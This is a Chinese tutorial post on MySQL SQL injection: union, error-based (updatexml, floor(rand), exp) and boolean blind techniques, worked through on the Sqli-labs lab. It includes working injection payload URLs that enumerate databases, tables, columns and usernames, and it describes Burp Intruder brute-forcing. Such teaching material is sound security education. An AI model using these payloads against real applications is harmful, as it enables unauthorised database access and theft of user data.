浅析 MYSQL数据库SQL 注入漏洞

什么是 SQL 注入

从客观角度来看,SQL 注入是因为前端输入控制不严格造成的漏洞,使得攻击者可以输入对后端数据库有危害的字符串或符号,使得后端数据库产生回显或执行命令,从而实现对于数据库或系统的入侵;从攻击者角度来看,需要拼接出可以使后端识别并响应的 SQL 命令,从而实现攻击

RDBMS(关系型数据库) 术语

这里仅说明与 SQL 注入相关的术语:

  • 数据库:关联表的集合
  • 数据表:表是数据的矩阵,看起来就像我们日常生活中的 Excel 表格
  • 列:一列,包含了相同类型的数据
  • 行:一行,一组相关的数据,比如一个用户所有维度的信息
    | image.pngSQL 注入类型分类 |
    | — |

从注入参数类型分:数字型注入、字符型注入
从注入效果分:报错注入、无显盲注(布尔盲注、延时盲注)、联合注入、堆叠注入、宽字节注入、二次注入
从提交方式分:GET注入、POST注入、HTTP头注入(UA注入、XFF注入)、COOKIE注入

SQL 注入的常见位置

  1. URL参数:攻击者可以在应用程序的 URL 参数中注入恶意 SQL 代码,例如在查询字符串或路径中
  2. 表单输入:应用程序中的表单输入框,如用户名、密码、搜索框等,如果没有进行充分的输入验证和过滤,就可能成为 SQL 注入的目标
  3. Cookie:如果应用程序使用 Cookie 来存储用户信息或会话状态,攻击者可以通过修改 Cookie 中的值来进行 SQL 注入
  4. HTTP头部:有些应用程序可能会从 HTTP 头部中获取数据,攻击者可以在 HTTP 头部中注入恶意 SQL 代码。
  5. 数据库查询语句:在应用程序中直接拼接 SQL 查询语句的地方,如果没有正确地对用户输入进行过滤和转义,就可能导致 SQL 注入漏洞

如何判断是否存在 SQL 注入

  • 单双引号判断
  • and 型判断
  • or 或 xor 判断
  • exp(709) exp(710)

联合注入

通过学习联合注入,我们可以习得 SQL 注入的思想和基础,联合注入一般分为以下七步:

第一步-类型判断

判断是否存在注入,若存在,则判断是字符型还是数字型,简单来说就是数字型不需要符号包裹,而字符型需要
数字型:select * from table where id = i d 字符型: s e l e c t ∗ f r o m t a b l e w h e r e i d = ′ id 字符型:select * from table where id=' id字符型:selectfromtablewhereid=id’
判断类型一般可以使用 and 型结合永真式和永假式,判断数字型:

1 and 1=1 #永真式   select * from table where id=1 and 1=1
1 and 1=2 #永假式   select * from table where id=1 and 1=2
#若永假式运行错误,则说明此SQL注入为数字型注入

判断字符型:

1' and '1'='1
1' and '1'='2
#若永假式运行错误,则说明此SQL注入为字符型注入

第二步-查字段个数

使用order by查询字段个数,上一步我们已经判断出了是字符型还是数字型,也就是说我们已经构建出了一个基本的框架(在初学 SQL 注入时 “框架” 的思想十分重要)
这里我们用 Sqli-labs 第一关来详细解释一下框架思想,首先使用单引号进行测试,出现 SQL 语句报错,则此关为字符型注入
image.png
之后引出了 SQL 注入的另外一个重要知识点,也就是注释的使用(可以确认有没有其他闭合字符),MySQL 提供了以下三种注释方法:

  • #:不建议直接使用,会被浏览器当做 URL 的书签,建议使用其 URL 编码形式%23
  • –+:本质上是–空格,+会被浏览器解释为空格,也可以使用 URL 编码形式``–%20
  • /**/:多行注释,常被用作空格

这里我们使用%23将 SQL 语句后面的单引号注释掉,也就形成了我们的框架,后面的所有内容都是在框架里进行的,只会对框架做微调

之后我们在框架中使用order by 数字来查询字段的个数,这里的关键是找到临界值,例如order by 4时候还在报错,但是order by 3时没有出现报错,3 就是这里的临界值,说明这里存在 3 个字段
image.png

第三步-查找显示位

使用union select查找显示位,上一步我们已经知道了字段的具体个数,现在我们要判断这些字段的哪几个会在前端显示出来,这些显示出来的字段叫做显示位,我们使用union select 1,2,3…(字段个数是多少个就写到几)来对位置的顺序进行判断(其中数字代表是几号显示位)
这里我们需要对框架做一下微调,也就是将 1 改为 -1,这里修改的目的是查询一个不存在的 id,使得第一句为空,显示第二句的结果,这里我们可以发现 1 号字段是在前端不显示的,2 号和 3 号字段在前端显示,所以是显示位
image.png

第四步-爆库名

使用database()函数爆出库名,database()函数主要是返回当前(默认)数据库的名称,这里我们把它用在哪个显示位上都可以
image.png

第五步-爆表名

基于库名使用table_name爆出表名,先来介绍一下使用到的函数和数据源:

  • group_concat()函数:使数据在一列中输出
  • information_schema.tables数据源:存储了数据表的元数据信息,我们主要使用此项数据源中的table_name和table_schema字段

最终可以构造出 Payload 如下,可以获取到 emails,referers,uagents,users 四张表

http://127.0.0.22/Less-1/?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() %23

image.png

第六步-爆列名

基于表名使用column_name爆出列名,此时数据源为information_schema.columns,位置在table_name=‘表名’(记得给表名加单引号)
最终构造 Payload 如下,可以获取到 id,email_id 两个字段

http://127.0.0.22/Less-1/?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='emails' %23

image.png

第七步-爆信息

使用列名爆敏感信息,直接 from 表名即可,这里需要使用group_concat(concat_ws())实现数据的完整读取,group_concat()函数在前面几步就接触过,主要是使数据在一列中输出
这就带来了一个问题,如果直接把列放入group_concat()函数,列间的界限就不清晰了,concat_ws()就是为了区分列的界限所使用的,其语法如下:

concat_ws('字符',字段1,字段2,.....)

最终我们便可以构造出获取数据的 Payload:

http://127.0.0.22/Less-1/?id=-1'union select 1,2,group_concat(concat_ws('-',id,email_id)) from emails %23

image.png

报错注入

报错注入的本质是使用一些指定的函数制造报错,从而从报错信息获得我们想要的内容,使用前提是后台没有屏蔽数据库的报错信息,且报错信息会返回到前端,报错注入一般在无法确定显示位的时候使用,我们先来了解一下报错注入的类型和会用到的函数

XPath 导致的报错

updatexml()函数和extractvalue()函数都可以归类为是 XPath 格式不正确或缺失导致报错的函数

updatexml() 函数

updatexml()函数本身是改变 XML 文档中符合条件的值,其语法如下:

updatexml(XML_document,XPath_string,new_value)

语法中使用到以下三个参数

  • XML_document:XML 文档名称,使用 String 格式作为参数
  • XPath_string:路径,XPath 格式,updatexml()函数如果这项参数错误便会导致报错,我们主要利用的也是这个参数
  • new_value:替换后的值,使用 String 格式作为参数

extractvalue() 函数

extractvalue()函数本身用于在 XML 文档中查询指定字符,语法如下:

extractvalue(XML_document,xpath_string)

语法中使用到以下两个参数

  • XML_document:XML 文档名称,使用 String 格式作为参数
  • XPath_string:路径,XPath 格式,extractvalue()函数也在这里产生报错

主键重复导致的报错

主键报错注入是由于rand(),count() ,floor()三个函数和一个group by语句联合使用造成的,缺一不可

rand() 函数

rand()函数的基础语法是这样的,它的参数被叫做 seed(种子),当种子为空的时候,rand()函数会返回一个[0,1)范围内的随机数,当种子为一个数值时,则会返回一个可复现的随机数序列

rand(seed)

如果还不能理解种子的概念,我来说一个种子在其他领域的应用,我的世界这款游戏大家应该不陌生,在创建世界的时候,可以使用种子来指定固定的世界类型
image.png
例如-1834063422这个种子生成的世界一定是包含废弃村庄的世界

在 Mysql 中也是这样的,只要输入种子,一定返回一个可复现的随机数序列,这里还有一个小细节,种子是只取整数部分的,使用小数点后第一位进行四舍五入取整
使用Select rand(seed) FROM users;查询语句进行测试,验证一下上面的结论
image.png
至此,我们可以看出,seed()函数存在种子时,是伪随机的,这里的 “伪” 是有规律的意思,代表计算机产生的数字即是随机的也是有规律的

floor() 函数

floor()函数的作用就是返回小于等于括号内该值的最大整数,也就是取整,它这里的取整不是进行四舍五入,而是直接留下整数位,去掉小数位,如果是负数则整数位需要加一
image.png

count() 函数

count()是聚合函数的一种,是 SQL 的基础函数,除此以外,还有sum()、avg()、min()、max()等聚合函数,语法如下

select count(字段) from 表名; --得到该列值的非空值的行数

select count(*) from 表名; --用于统计整个表的行数

group by 语句

group by语句的用法如下,它用于结合聚合函数,根据一个或多个列对结果集进行分组

group by 列名;

这里举个例子方便大家理解,创建一个名为users的表,表的构成如下图
image.png
我想知道在所有用户中,不同等级的各有多少人,我们便可以构造 SQL 语句如下

-- 选择 "level" 列和行数(由 COUNT(*) 计算)
SELECT level, COUNT(*)
-- 从 "users" 表中选择数据
FROM users
-- 按 "level" 列的值分组数据
GROUP BY level;

最终查询出不同等级的用户分别有多少人
image.png
这里我们借这个例子深入一下它的工作原理,group by语句在执行时,会依次查出表中的记录并创建一个临时表(这个临时表是不可见的),group by的对象便是该临时表的主键(level),如果临时表中已经存在该主键,则将值加1,如果不存在,则将该主键插入到临时表中
这里我们逐步模拟临时表的流程,最终可以发现与我们使用 SQL 语句得出的结果一致
image.png

报错原因分析

floor()报错注入是利用下方这个相对固定的语句格式,导致的数据库报错

select count(*),(floor(rand(0)*2)) x from users group by x

我们先来分析(floor(rand(0)2))在 SQL 语句中的含义,我们先来看它的内层rand(0)2,以 0 为种子使用send()函数生成随机数序列,并且将数列中的每一项结果乘以 2
image.png
再将乘以 2 后的结果放入floor()函数取整,最后得出伪随机数列如下,因为使用了固定的随机数种子0,他每次产生的随机数列的前六位都是相同的0 1 1 0 1 1的顺序
image.png
这时我们思考一个问题,基于上面group by语句的工作原理,我们可以知道,主键重复了就会使count(
)的值加 1,最终只是count(
)的值不同,那为什么说是主键重复导致的报错呢?
其实是这里有一个细节没有介绍,当group by语句与rand()函数一起使用时,Mysql 会建立一张临时表,这张临时表有两个字段,一个是主键,一个是count(),此时临时表无任何值,Mysql 先计算group by后面的值,也就是floor()函数(它们之间是以x作为媒介传递的),如果此时临时表中没有该主键,则在插入前rand()函数会再计算一次
上面提到固定序列的第一个值为 0,Mysql 查询临时表,发现没有主键为 0 的记录,因此将此数据插入,这时因为临时表中没有该主键,Mysql 插入的过程中还会计算一次group by后面的值,也就是floor()函数,但是此时floor()函数的结果为固定序列的第二个值,因此插入的主键为1,count(
)也为1
如果以上内容大家有点绕,可以简单理解为 Mysql 的动作有两步,第一步是判断是否存在,第二步是插入数据,每步都需要rand()函数计算一次,并最终通过floor()函数输出结果(这种情况只在主键不存在时发生)
image.png
紧接着 Mysql 会继续查询下一条数据,若发现重复的主键,则count()加 1,若没有找到主键,则添加新主键,此时遍历的是users表中的第二行,floor()函数的值是固定数列的第三项为 1,主键重复,count()加 1
image.png
此时我们来到了报错的关键点,此时遍历users表中的第三行,floor()函数的值是固定数列的第四项为 0,此时不存在该主键,则需要进行刚才的两步走,做判断用的是固定数列的第四项为 0,插入时应用到固定数列的第五项为 1,此时 1 被当做一个新的主键插入到临时表中,则产生了主键重复错误
image.png

Payload 优化

由上面的原理可见,利用floor(rand(0)*2)产生报错需要数据表里至少存在 3 条记录,我们可以再极限一点,使用floor(rand(14)*2),即可在存在 2 条记录的时候使用了
image.png
其原理如下,在第二条第二步时再次使用 0 当做主键插入导致主键重复报错
image.png

数据溢出导致的报错

exp() 函数

MySQL 中的exp()函数用于将 e 提升为指定数字 x 的幂,也就是 e x e^{x} ex

exp(x)

例如exp(2)就是 e 2 e^{2} e2
image.png
我们可用利用 Mysql Double 数值范围有限的特性构造报错,一旦结果超过范围,exp()函数就会报错,这个分界点就是 709,当exp()函数中的数字超过 709 时就会产生报错
image.png
当 MySQL 版本大于 5.5.53 时,exp()函数报错无法返回查询结果,只会得到一个报错,所以在真实环境中使用它做注入局限性还是比较大的,但是可以用判断是否存在 SQL 注入

pow() 函数

MySQL 中的pow()函数用于将 x(基数) 提升为 y(指数) 的幂,也就是 x y x^{y} xy,语法如下

pow(x,y)

报错原理和exp()函数一样,超出了 Mysql Double 数值的范围,导致报错
image.png

空间数据类型导致的错误

这类报错因为 Mysql 版本限制导致用的比较少,这里列出来,大家有兴趣的话可以做一下深入研究,简单来说,这类函数报错的原因是函数对参数要求是形如(1 2,3 3,2 2 1)这样几何数据,如果不满足要求,则会报错,可以产生报错的函数如下:

geometrycollection()
multiponint()
polygon()
multipolygon()
linestring()
multilinestring()

无显注入(盲注)

无显注入适用于无法直接从页面上看到注入语句的执行结果,甚至连注入语句是否执行都无从得知的情况,这种情况我们就要利用一些特性和函数自己创造判断条件

基于布尔的盲注

在介绍布尔盲注的原理前,先来了解一下它用到的函数

常用函数

  • left()函数:从左边截取指定长度的字符串
left(指定字符串,截取长度)
  • length()函数:获取指定字符串的长度
length(指定字符串)
  • substr()函数和mid()函数:截取字符串,可以指定起始位置(从 1 开始计算)和长度
substr(字符串,起始位置,截取长度)
mid(字符串,起始位置,截取长度)
  • ascii()函数:将指定字符串进行 ascii 编码
ascii(指定字符串)

布尔盲注原理

布尔(Boolean)是一种数据类型,通常是真和假两个值,进行布尔盲注入时我们实际上使用的是抽象的布尔概念,即通过页面返回正常(真)与不正常(假)判断,这里我们用 Sqli-labs 第八关帮助大家理解它
先添加参数?id=1
image.png
先用单引号判断类型,发现添加单引号后并没有报错,但是 You are in… 消失了,这里也就为我们判断创造了条件,后面我们就需要观察 You are in… 是否出现,找不同情况
image.png
这里我们再添加一个单引号,发现 You are in… 出现,则本关为字符型注入,使用单引号包裹
image.png
因为这里只会回显真或假,无法直接拿到数据库的名字,但是我们可以降低一点条件,可以先判断出数据库名的长度(最长为 30),这里可以先给一个范围,观察一下回显(二分法)

//先猜测数据库名是否比5长,发现为真
1' and length(database())>5--+

//再判断数据库是否比10长,发现为假
1' and length(database())>10--+

//此时数据库大于5小于等于10,依次尝试可以发现长度为8
1' and length(database())=8--+

拿到长度后,我们使用substr()函数或mid()函数一位一位的猜测数据库字符,Mysql 库名一共可以使用 63 个字符,分别是:a-z、A-Z、0-9、_
image.png
这里我们先来判断第一位是什么字符,这里我们使用 Burp Suite Intruder 模块快速进行,将字符标记为 Payload 设置字典为 a-z、A-Z、0-9、_,发现 s 和 S 回显长度与其他字符不同,说明这里第一位是 s ,这里大小写都有是因为 Mysql在 Windows 下对大小写不敏感
MySQL 在 Windows 下不区分大小写,但在 Linux 下默认是区分大小写,由lower_case_file_system和lower_case_table_names两个参数控制
image.png
这里还可以进阶一下,使用集束炸弹模式,将字符位置设置为 Payload 1,字符内容设置为 Payload 2,实现一次爆破出所有字符
image.png
我们对一到八位依次判断后可以发现库名为 security,这里还可以用ascii()函数和substr()函数嵌套或使用left()函数实现,但都没有直接用substr()函数 + Intruder 模块方便,这里就不再赘述
之后我们使用count()函数来判断表的个数,这里依然可以使用 Intruder 模块,判断出有四个表
image.png
个数清晰后再来判断每个表名的长度,这里使用了limit方法,语法如下

limit N,M   //从第 N 条记录开始, 返回 M 条记录

这里依次判断表的长度:

第一个表长度为6
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 --+

第二个表长度为8
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=8 --+

第三个表长度为7
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 2,1))=7 --+

第四个表长度为5
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 3,1))=5 --+

知道每个表的长度后,我们再使用和库名一样的方式猜解表名
image.png
例如第一个表名称为 emails
image.png
知道表(第四个表,长度为五,是 users)的信息后,我们再来猜列的个数,这里可以看到有三个列

?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name = 'users')=3 --+

image.png
再来判断每个列的长度

第一个列长度为2
?id=1' and length((select  column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0,1))=2 --+

第二个列长度为8
?id=1' and length((select  column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 1,1))=8 --+

第三个列长度为8
?id=1' and length((select  column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 2,1))=8 --+

再用同样的方法猜解列的名字,这里以第二个列为例,列名为 username
image.png
下面还是如法炮制,判断列中有多少数据,我们可以使用count(*)

?id=1' and (select count(*) from users)=13 --+

image.png
之后再来判断每条数据的长度

第一个数据长度为4
?id=1' and length((select username from users limit 0,1))=4  --+

第二个数据长度为8
?id=1' and length((select username from users limit 1,1))=8  --+

第三个数据长度为5
?id=1' and length((select username from users limit 2,1))=5  --+


评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值